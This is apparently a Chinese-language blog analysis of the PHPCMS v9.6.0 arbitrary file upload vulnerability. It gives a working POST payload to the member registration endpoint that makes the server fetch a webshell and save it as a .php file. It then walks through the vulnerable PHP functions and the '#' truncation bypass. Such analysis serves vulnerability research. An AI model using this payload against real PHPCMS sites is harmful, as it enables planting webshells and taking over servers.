PHPCMS v9.6.0 任意文件上传漏洞getshell分析

环境: phpstudy本地搭建phpcms apache2 4 39+php5 3 29+mysql8 0 12 漏洞影响版本: PHPCMS 9 6

环境:

phpstudy本地搭建phpcms

apache2.4.39+php5.3.29+mysql8.0.12

 

漏洞影响版本:

PHPCMS 9.6.0

 

POC:

首先需要在1.txt中写入一句话木马

siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=

然后用post提交poc

 

 这里将会得到一句话木马文件的地址,就可以成功getshell了

测试:

 

 

 

1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进

因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码

 

 在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。

这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符

&lt;img src=http://127.0.0.1/1.txt?.php#.jpg&gt;

 

2、跟进get函数

 1     function get($data) {
 2         $this->data = $data = trim_script($data);
 3         $model_cache = getcache('member_model', 'commons');
 4         $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
 5 
 6         $info = array();
 7         $debar_filed = array('catid','title','style','thumb','status','islink','description');
 8         if(is_array($data)) {
 9             foreach($data as $field=>$value) {
10                 if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
11                 $field = safe_replace($field);
12                 $name = $this->fields[$field]['name'];
13                 $minlength = $this->fields[$field]['minlength'];
14                 $maxlength = $this->fields[$field]['maxlength'];
15                 $pattern = $this->fields[$field]['pattern'];
16                 $errortips = $this->fields[$field]['errortips'];
17                 if(empty($errortips)) $errortips = "$name 不符合要求!";
18                 $length = empty($value) ? 0 : strlen($value);
19                 if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
20                 if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
21                 if($maxlength && $length > $maxlength && !$isimport) {
22                     showmessage("$name 不得超过 $maxlength 个字符!");
23                 } else {
24                     str_cut($value, $maxlength);
25                 }
26                 if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
27                 if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
28                 $func = $this->fields[$field]['formtype'];
29                 if(method_exists($this, $func)) $value = $this->$func($field, $value); 
30            
31   
32 
33                 $info[$field] = $value;
34             }
35         }
36         return $info;
37     }

这里2-4行是对模型的配置进行了加载,并且获取了该模型的表名,这里的表名为member_detail

表结构:

接下来的6-27行是引入content中的一些名字、最小长度、最大长度、错误输出等配置,来检查我们的输入是否符合要求

28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor

 

 

3、跟进editor函数

1     function editor($field, $value) {
2         $setting = string2array($this->fields[$field]['setting']);
3         $enablesaveimage = $setting['enablesaveimage'];
4         $site_setting = string2array($this->site_config['setting']);
5         $watermark_enable = intval($site_setting['watermark_enable']);
6         $value = $this->attachment->download('content', $value,$watermark_enable);
7         return $value;
8     }

2-5行对content的配置进行了导入

 

4、跟进download函数

 1 function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
 2     {
 3         global $image_d;
 4         $this->att_db = pc_base::load_model('attachment_model');
 5         $upload_url = pc_base::load_config('system','upload_url');
 6         $this->field = $field;
 7         $dir = date('Y/md/');
 8         $uploadpath = $upload_url.$dir;
 9         $uploaddir = $this->upload_root.$dir;
10         $string = new_stripslashes($value);
11         if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
12         $remotefileurls = array();
13         foreach($matches[3] as $matche)
14         {
15             if(strpos($matche, '://') === false) continue;
16             dir_create($uploaddir);
17             $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
18         }

3-5行对上传文件的配置进行导入

7-10行对文件的路径网站路径和文件的绝对路径生成

11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址

17行将对匹配出来的url进行一个分析

 

5、跟进fillurl函数

 1     function fillurl($surl, $absurl, $basehref = '') {
 2         if($basehref != '') {
 3             $preurl = strtolower(substr($surl,0,6));
 4             if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
 5             return  $surl;
 6             else
 7             return $basehref.'/'.$surl;
 8         }
 9         $i = 0;
10         $dstr = '';
11         $pstr = '';
12         $okurl = '';
13         $pathStep = 0;
14         $surl = trim($surl);
15         if($surl=='') return '';
16         $urls = @parse_url(SITE_URL);
17         $HomeUrl = $urls['host'];
18         $BaseUrlPath = $HomeUrl.$urls['path'];
19         $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
20         $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
21         $pos = strpos($surl,'#');
22         if($pos>0) $surl = substr($surl,0,$pos);
23         if($surl[0]=='/') {
24             $okurl = 'http://'.$HomeUrl.'/'.$surl;
25         } elseif($surl[0] == '.') {
26             if(strlen($surl)<=2) return '';
27             elseif($surl[0]=='/') {
28                 $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
29             } else {
30                 $urls = explode('/',$surl);
31                 foreach($urls as $u) {
32                     if($u=="..") $pathStep++;
33                     else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
34                     else $dstr .= $urls[$i];
35                     $i++;
36                 }
37                 $urls = explode('/', $BaseUrlPath);
38                 if(count($urls) <= $pathStep)
39                 return '';
40                 else {
41                     $pstr = 'http://';
42                     for($i=0;$i<count($urls)-$pathStep;$i++) {
43                         $pstr .= $urls[$i].'/';
44                     }
45                     $okurl = $pstr.$dstr;
46                 }
47             }
48         } else {
49             $preurl = strtolower(substr($surl,0,6));
50             if(strlen($surl)<7)
51             $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
52             elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
53             $okurl = $surl;
54             else
55             $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
56         }
57         $preurl = strtolower(substr($okurl,0,6));
58         if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
59             return $okurl;
60         } else {
61             $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
62             $okurl = preg_replace('/\/{1,}/i','/',$okurl);
63             return 'http://'.$okurl;
64         }
65     }

这个函数的重点是第21、22行,这里写意图应该是想把#号去掉,但是也能将#号后面的内容也去掉,所以我们用来绕过的#.jpg就被去掉了

 

 然后返回的值就是http://127.0.0.1/1.txt?.php

 

6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值

 1      unset($matches, $string);
 2         $remotefileurls = array_unique($remotefileurls);
 3         $oldpath = $newpath = array();
 4         foreach($remotefileurls as $k=>$file) {
 5             if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
 6             $filename = fileext($file);
 7             $file_name = basename($file);
 8             $filename = $this->getname($filename);
 9 
10             $newfile = $uploaddir.$filename;
11             $upload_func = $this->upload_func;
12             if($upload_func($file, $newfile)) {
13                 $oldpath[] = $k;
14                 $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
15                 @chmod($newfile, 0777);
16                 $fileext = fileext($filename);
17                 if($watermark){
18                     watermark($newfile, $newfile,$this->siteid);
19                 }
20                 $filepath = $dir.$filename;
21                 $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
22                 $aid = $this->add($downloadedfile);
23                 $this->downloadedfiles[$aid] = $filepath;
24             }
25         }
26         return str_replace($oldpath, $newpath, $value);
27     }    

所以这里的第6行就把php当作了文件的ext,然后通过getname函数随机生成文件名称,其所生成的

然后第12行copy了变量$file中的内容,也就是我们文本中的一句话木马

 

7、回到editor函数并返回$value值,回到get函数并返回$info值

 

8、回到register函数,开始对数据插入表中

 1 if(pc_base::load_config('system', 'phpsso')) {
 2                 $this->_init_phpsso();
 3                 $status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
 4                 if($status > 0) {
 5                     $userinfo['phpssouid'] = $status;
 6                     //传入phpsso为明文密码,加密后存入phpcms_v9
 7                     $password = $userinfo['password'];
 8                     $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
 9                     $userid = $this->db->insert($userinfo, 1);
10                     if($member_setting['choosemodel']) {    //如果开启选择模型
11                         $user_model_info['userid'] = $userid;
12                         //插入会员模型数据
13                         $this->db->set_model($userinfo['modelid']);
14                         $this->db->insert($user_model_info);
15                     }

在第14行插入$user_model_info的时候由于数据类型不同会报错,就可以获取我们上传文件的路径,从而getshell了

 

 

 

标签: 加密 加载